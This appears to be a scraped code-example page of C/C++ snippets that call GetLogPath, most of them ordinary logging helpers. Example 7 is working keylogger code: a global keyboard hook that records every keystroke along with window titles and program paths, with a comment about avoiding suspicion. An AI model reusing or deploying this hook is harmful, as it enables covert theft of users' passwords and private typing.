Exemplo n.º 1
0
/*********************************************************************
* 函数名称:int Write_Log_Text(LPLOG_DATA lpLogData)
* 说明:写日志内容
* 调用者:Write_Log
* 输入参数:
* LPLOG_DATA lpLogData --日志内容结构体量
* 输出参数:
* 无
* 返回值:
* int -- LOG_FAILED: 失败
*      -- LOG_SUCCESS: 成功
*********************************************************************/
int CWriteLog::Write_Log_Text(LPLOG_DATA lpLogData)
{
	TCHAR szFilePath[MAX_FILE_PATH];
	TCHAR szFileName[MAX_LOG_FILE_NAME_LEN];
	FILE *pFile = NULL;
	TCHAR szLogText[MAX_LOGTEXT_LEN];
	memset(szFilePath, 0, MAX_FILE_PATH);
	memset(szFileName, 0, MAX_LOG_FILE_NAME_LEN);
	memset(szLogText, 0, MAX_LOGTEXT_LEN);
	GetLogPath(szFilePath);
	GetLogFileName(lpLogData->iType, szFilePath, szFileName);
	pFile = _tfopen(szFileName, _T("a+"));
	if(NULL == pFile)
	{
		return LOG_FAILED;
	}
	_stprintf(szLogText, _T("%s[%s %s] %s   -----  [%s][%d]\n"), lpLogData->strModel, lpLogData->strDate, lpLogData->strTime, lpLogData->strText, lpLogData->strFile, lpLogData->iLine);

	//fwrite(szLogText, 1, _tcslen(szLogText), pFile);
	//acsii 的方式, unicode写入乱码
	int len = _tcslen(szLogText);
	char* pchBuffer = new char[len * 2 + 1];
	int a = WideCharToMultiByte(CP_ACP, NULL, (LPCWCH)szLogText, -1, LPSTR(pchBuffer), len*2 + 1, NULL, FALSE);//Unicode转换为ANSI,a的值包括了字符串最后的0
	fwrite(pchBuffer, 1, a - 1, pFile);
	delete[] pchBuffer;
	pchBuffer = NULL;

	fclose(pFile);
	return LOG_SUCCESS;
}
Exemplo n.º 2
0
void Ide::OpenLog()
{
	String p = GetLogPath();
	String path = NormalizePath(p);
	if(!designer && path == editfile) {
		History(-1);
		return;
	}
	AddHistory();
	if(FileExists(p))
		EditFile(p);
}
Exemplo n.º 3
0
//---------------------------------------------------------------------------------------
void Paths::log_paths()
{
    LOMSE_LOG_INFO(to_std_string(wxString::Format("LENMUS_INSTALL_ROOT = [%s]", LENMUS_INSTALL_ROOT )));

    LOMSE_LOG_INFO(to_std_string(wxString::Format("SrcRoot = %s", GetSrcRootPath().wx_str() )));
    LOMSE_LOG_INFO(to_std_string(wxString::Format("Bin = %s", GetBinPath().wx_str() )));
    LOMSE_LOG_INFO(to_std_string(wxString::Format("Xrc = %s", GetXrcPath().wx_str() )));
    LOMSE_LOG_INFO(to_std_string(wxString::Format("Temp = %s", GetTemporaryPath().wx_str() )));
    LOMSE_LOG_INFO(to_std_string(wxString::Format("Img = %s", GetImagePath().wx_str() )));
    LOMSE_LOG_INFO(to_std_string(wxString::Format("Cursors = %s", GetCursorsPath().wx_str() )));
    LOMSE_LOG_INFO(to_std_string(wxString::Format("Sounds = %s", GetSoundsPath().wx_str() )));
    LOMSE_LOG_INFO(to_std_string(wxString::Format("Locale = %s", GetLocaleRootPath().wx_str() )));
    LOMSE_LOG_INFO(to_std_string(wxString::Format("Scores = %s", GetScoresPath().wx_str() )));
    LOMSE_LOG_INFO(to_std_string(wxString::Format("TestScores = %s", GetTestScoresPath().wx_str() )));
    LOMSE_LOG_INFO(to_std_string(wxString::Format("Samples = %s", GetSamplesPath().wx_str() )));
    LOMSE_LOG_INFO(to_std_string(wxString::Format("Templates = %s", GetTemplatesPath().wx_str() )));
    LOMSE_LOG_INFO(to_std_string(wxString::Format("Config = %s", GetConfigPath().wx_str() )));
    LOMSE_LOG_INFO(to_std_string(wxString::Format("Log = %s", GetLogPath().wx_str() )));
    LOMSE_LOG_INFO(to_std_string(wxString::Format("Fonts = %s\n", GetFontsPath().wx_str() )));

    //DBG: For debugging code for home folder assignment --------------------------
#if (LENMUS_PLATFORM_UNIX == 1)
    char* homedir = getenv("HOME");
    if (homedir == NULL)
    {
        struct passwd* pw = getpwuid(getuid());
        homedir = pw->pw_dir;
    }
    string sHomedir(homedir);
    wxString sHome = to_wx_string(sHomedir);
    LOMSE_LOG_INFO(to_std_string(wxString::Format("homedir = %s", sHome.wx_str() )));

    wxFileName oLogsHome;
    oLogsHome.AssignDir( sHome );
    LOMSE_LOG_INFO(to_std_string(wxString::Format("initial oLogsHome = %s",
                   oLogsHome.GetFullPath().wx_str() )));
    oLogsHome.AppendDir(".config");
    oLogsHome.AppendDir("lenmus");
    LOMSE_LOG_INFO(to_std_string(wxString::Format("final oLogsHome = %s",
                   oLogsHome.GetFullPath().wx_str() )));
    //END_DBG -----------------------------------------------------------------------
#endif
}
Exemplo n.º 4
0
//---------------------------------------------------------------------------------------
string Paths::dump_paths()
{
    stringstream s;
    s << "SrcRoot = " << to_std_string(GetSrcRootPath()) << endl;
    s << "Bin = " << to_std_string(GetBinPath()) << endl;
    s << "Xrc = " << to_std_string(GetXrcPath()) << endl;
    s << "Temp = " << to_std_string(GetTemporaryPath()) << endl;
    s << "Img = " << to_std_string(GetImagePath()) << endl;
    s << "Cursors = " << to_std_string(GetCursorsPath()) << endl;
    s << "Sounds = " << to_std_string(GetSoundsPath()) << endl;
    s << "Locale = " << to_std_string(GetLocaleRootPath()) << endl;
    s << "Scores = " << to_std_string(GetScoresPath()) << endl;
    s << "TestScores = " << to_std_string(GetTestScoresPath()) << endl;
    s << "Samples = " << to_std_string(GetSamplesPath()) << endl;
    s << "Templates = " << to_std_string(GetTemplatesPath()) << endl;
    s << "Config = " << to_std_string(GetConfigPath()) << endl;
    s << "Log = " << to_std_string(GetLogPath()) << endl;
    s << "Fonts = " << to_std_string(GetFontsPath()) << endl;
    return s.str();
}
Exemplo n.º 5
0
void CLog::WriteFile( BOOL bOverWrite, const char* filename, char *fmt,...)
{	
	va_list		ap;
    FILE		*fd;		
	CFile	file;
	char szFile[1024+1];
	CString strFileName;

	CTime iDT =  CTime::GetCurrentTime();	
	char szTmpPath[100];
	memset(szTmpPath, 0x00, sizeof(szTmpPath));
	sprintf(szTmpPath, "%s%s%s.log", GetLogPath(), filename, iDT.Format("%Y%m%d")  );

	memset(szFile,0x00,sizeof(szFile));		
	
	strncpy(szFile, szTmpPath, 1024);
	
	if(bOverWrite)
	{
		if((fd = fopen(szFile,"w")) == 0)
		{
			return;
		}
	}
	else
	{
		if((fd = fopen(szFile,"a")) == 0)
		{
			return;
        }
	}
	
    va_start(ap,fmt);
    CString strRet = Log_fprintf(fd,fmt,ap);
	strRet = strRet +"\n";
    va_end(ap);
    fclose(fd);		
}
Exemplo n.º 6
0
void CErrLogMgr::CreateErrLogFile()
{
	uint32 uVersion = GetCurrentRevision();

	uint32 uProcessId = GetCurPID();

	const wchar_t* szFilePath = GetLogPath();

	wchar_t szErrFileName[256];

	const char* sz_guid = GetProcessStringGUID();
	wchar_t* szGuid = U8_to_U16(sz_guid);

	static uint32 uLogNum = 0;
	++uLogNum;

	if (uVersion != 0)
	{
#ifdef _WIN32
		swprintf_s(szErrFileName, COUNTOF(szErrFileName), L"%s/%s_err_%s_%uv%u_%u", szFilePath, m_strLogFile.c_str(), szGuid, uLogNum, uVersion,uProcessId);
#else
		swprintf(szErrFileName, COUNTOF(szErrFileName), L"%ls/%ls_err_%ls_%uv%u_%u", szFilePath, m_strLogFile.c_str(), szGuid, uLogNum, uVersion,uProcessId);
#endif
	}
	else
	{
#ifdef _WIN32
		swprintf_s(szErrFileName, COUNTOF(szErrFileName), L"%s/%s_err_%s_%u_%u", szFilePath, m_strLogFile.c_str(), szGuid, uLogNum,uProcessId);
#else
		swprintf(szErrFileName, COUNTOF(szErrFileName), L"%ls/%ls_err_%ls_%u_%u", szFilePath, m_strLogFile.c_str(), szGuid, uLogNum,uProcessId);
#endif
	}

	CErrLogThreadMgr::Inst()->AddCreateErrlogJob(szErrFileName,m_strDeviceInfo.c_str());
	FreeUtfCvsDest(szGuid);
}
Exemplo n.º 7
0
LRESULT DLLIMPORT CALLBACK HookProc(int code, WPARAM wParam, LPARAM lParam) { 
	/* If this is a WM_KEYUP message, translate the key and log it. */ 
	if (code==HC_ACTION && !(HIWORD(lParam) & KF_UP)) { 
		char buf[256] = {0}; 
		HWND hWnd2;

		if (!mutex_status) mutex_status = OpenMutex(MUTEX_ALL_ACCESS, 0, MUTEX_NAME_STATUS); 
		if (!mutex_log) mutex_log = OpenMutex(MUTEX_ALL_ACCESS, 0, MUTEX_NAME_LOG); 

		/* Let's check to see if we already the logfile. It is initially initialized. */ 
		if (!logfile[0]) GetLogPath(); 

		/* Check to see if we should clear the current log. */ 
		CheckLogStatus(); 

		/* Get flags (if we do not have them already). They will tell us what to log. */ 
		if (!GotFlags) GetFlags(); 

		/* Check if focus and/or title changed. */ 
		hWnd2 = GetForegroundWindow(); 
		if (hWnd2) { 
			char LogStatus = 0; 
			char statusbuf[256] = {0}; 
			char title[256]; 

			/* Check what window this was sent to. Get title. */ 
			GetWindowText(hWnd2, title, 256); 

			if (hWnd != hWnd2) {
				/* Got a new hwnd. Meaning a new window got focus. Save the hWnd. */ 
				hWnd = hWnd2; 
				if (!LogStatus) LogStatus = 1; /* 1 == hWnd changed */ 
			} 

			if ((flags & LogTitleChange) && 0 != strncmp(caption, title, 256)) { 
				/* Title changed, it might still be the same window, but let's log status. */ 
				if (!LogStatus) LogStatus = 2; /* 2 == Caption changed */ 
				strncpy(caption, title, 256); 
			} 

			if (LogStatus) { 
				/* Leave 1 blank line between the last logged keys. */ 
				statusbuf[0] = statusbuf[1] = '\n'; 
				if ((flags & LogFocusTimeStamp)) { 
					SYSTEMTIME st; 
					GetLocalTime(&st); 
					snprintf(statusbuf+2, 254, "(%.2d:%.2d:%.2d) ", st.wHour, st.wMinute, st.wSecond); 
				}

				if ((flags & LogFocusTitle)) { 
					strncat(statusbuf, "(", 256); 
					strncat(statusbuf, title, 256); 
					if (LogStatus == 2) 
						strncat(statusbuf, ")* ", 256); 
					else
						strncat(statusbuf, ") ", 256); 
				} 

				/* Get path to what we are currently injected to. */ 
				if ((flags & LogFocusPath)) { 
					/* If we DO NOT have the path, get it. */ 
					if (!filename[0]) { 
						HANDLE h; 
						h = GetModuleHandle(0); 
						if (!h || !GetModuleFileName(h, filename, MAX_PATH)) { 
							WIN_ERR("Unable to get path of current program.."); 
							/* Will retry on next iteration.. */ 
						} 
					} 

					strncat(statusbuf, "(", 256); 
					strncat(statusbuf, filename, 256); 
					strncat(statusbuf, ") ", 256); 
				} 

				/* Write status line to file. */ 
				if (statusbuf[0]) { 
					strncat(statusbuf, "\n", 256); 
					Log(statusbuf); 
				} 
			} 
		} 

		/* Get the actual character pressed. */ 
		if (wParam == 0x20)	buf[0] = ' '; /* Is the key a space? */ 

		else if (wParam >= 0x41 && wParam <= 0x5A) {/* Is it between A-Z? */ 
			/* By default the chars are uppercase. */ 
			char CapsOn, ShiftDown; 

			ShiftDown = HIWORD(GetKeyState(VK_SHIFT)) & 1;	/* 1 if Shift is down. */ 
			CapsOn = GetKeyState(VK_CAPITAL) & 1; 			/* 1 if Capslock is on. */ 

			/* If shift is NOT being held down and capslock is OFF == Lowercase */ 
			if (!ShiftDown && !CapsOn) buf[0] = wParam+32; 

			/* If shift IS being held down but caps is ON == Lowercase */ 
			else if (ShiftDown && CapsOn) buf[0] = wParam+32; 

			/* In any other case (caps ON is the only other case?), char is capital. */ 
			else buf[0] = wParam; 

		} else if (wParam >= 0x30 && wParam <= 0x39) {	/* Is it between 0-9? */ 
			char alt[] = ")!@#$%^&*("; 
			if (HIWORD(GetKeyState(VK_SHIFT)) & 1)	/* Is shift being held down? */ 
				buf[0] = alt[wParam-0x30]; 
			else	/* Guess not, just output the # then. */ 
				buf[0] = wParam; 

		} else if (wParam >= 186 && wParam <= 192) {	/* Is the key ;=,-./	*/ 
			char alt[] = ":+<_>?"; 
			char norm[] = ";=,-./"; 
			if (HIWORD(GetKeyState(VK_SHIFT)) & 1) 
				buf[0] = alt[wParam-186]; 
			else 
				buf[0] = norm[wParam-186]; 

		} else if (wParam >= 219 && wParam <= 222) {	/* Is the key [\]' 	*/ 
			char alt[] = "{|}\""; 
			char norm[] = "[\\]'"; 
			if (HIWORD(GetKeyState(VK_SHIFT)) & 1) { 
				buf[0] = alt[wParam-219]; 
			} else 
				buf[0] = norm[wParam-219]; 

		} else if (wParam=='`') {	/* Maybe a tilde ~ */ 
			buf[0] = (HIWORD(GetKeyState(VK_SHIFT)) & 1) ? '~' : '`'; 

		} else {	/* The key is special (TAB, ENTER, etc) */ 
			int i; 
			buf[0] = '['; 
			i = GetKeyNameText(lParam, buf+1, 255); 
			buf[i+1] = ']'; 
		} 

		Log(buf); 
	} 

	/* We want other programs to get the key, we don't want to be suspicious. */ 
	return CallNextHookEx(0, code, lParam, wParam); 
} 
Exemplo n.º 8
0
void Ide::OpenLog()
{
	String p = GetLogPath();
	if(FileExists(p))
		EditFile(p);
}
Exemplo n.º 9
0
gs2d::str_type::string FileLogger::GetWarningLogFilePath()
{
	return GetLogPath() + GS_L("_warning.log.txt");
}
Exemplo n.º 10
0
gs2d::str_type::string FileLogger::GetErrorLogFilePath()
{
	return GetLogPath() + GS_L("_error.log.txt");
}
Exemplo n.º 11
0
	c2w(wcOption, MAX_PATH, option);
	c2w(wcKey, MAX_PATH, key);
	swprintf(wcValue, L"%d", value);
	bool rs = ::WritePrivateProfileString(wcOption, wcKey, wcValue, czPath);
	return rs;
}

std::string GetLogPath()
{
	char cPersonalFolderPath[MAX_PATH];
	SHGetSpecialFolderPathA(NULL, cPersonalFolderPath, CSIDL_PERSONAL, FALSE);
	string sdir = string(cPersonalFolderPath) + "\\CifExplorer\\CifExplorerLog";
	MakeSureDirectoryPathExists(sdir.c_str());
	return sdir;
}
LogFileEx* g_pLogAll = new LogFileEx(GetLogPath().c_str(), LogFileEx::DAY);

void WriteLog(const std::string& str)
{
	g_pLogAll->Log(str.c_str());
}

void WriteLog(const std::string& str, int value)
{
	char szlog[MAX_PATH] = { 0 };
	sprintf(szlog, str.c_str(), value);
	g_pLogAll->Log(szlog);
}

void WriteLog(const std::string& str, std::string value)
{